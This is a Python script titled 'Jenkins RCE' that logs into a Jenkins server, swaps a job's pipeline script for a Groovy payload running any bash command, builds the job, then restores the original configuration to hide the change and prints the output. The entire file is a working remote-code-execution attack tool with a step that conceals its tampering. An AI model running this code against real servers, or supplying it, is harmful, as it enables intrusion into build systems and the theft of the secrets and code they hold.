1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
import argparse import jenkins import time from xml.etree import ElementTree
payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() '''
def run_command(url, cmd, job_name, username, password): print '[+] connecting to jenkins...' server = jenkins.Jenkins(url, username, password)
print '[+] crafting payload...' ori_job_config = server.get_job_config(job_name) et = ElementTree.fromstring(ori_job_config) et.find('definition/script').text = payload % cmd job_config = ElementTree.tostring(et, encoding='utf8', method='xml')
print '[+] modifying job with payload...' server.reconfig_job(job_name, job_config) time.sleep(3)
print '[+] putting job build to queue...' queue_number = server.build_job(job_name) time.sleep(3)
print '[+] waiting for job to build...' queue_item_info = {} while 'executable' not in queue_item_info: queue_item_info = server.get_queue_item(queue_number) time.sleep(1)
print '[+] restoring job...' server.reconfig_job(job_name, ori_job_config) time.sleep(3)
print '[+] fetching output...' last_build_number = server.get_job_info(job_name)['lastBuild']['number'] console_output = server.get_build_console_output(job_name, last_build_number)
print '[+] OUTPUT:' print console_output
if __name__ == '__main__': parser = argparse.ArgumentParser(description='Jenkins RCE')
parser.add_argument('--url', help='target jenkins url') parser.add_argument('--cmd', help='system command to be run') parser.add_argument('--job', help='job name') parser.add_argument('--username', help='username') parser.add_argument('--password', help='password')
args = parser.parse_args()
run_command(args.url, args.cmd, args.job, args.username, args.password)
|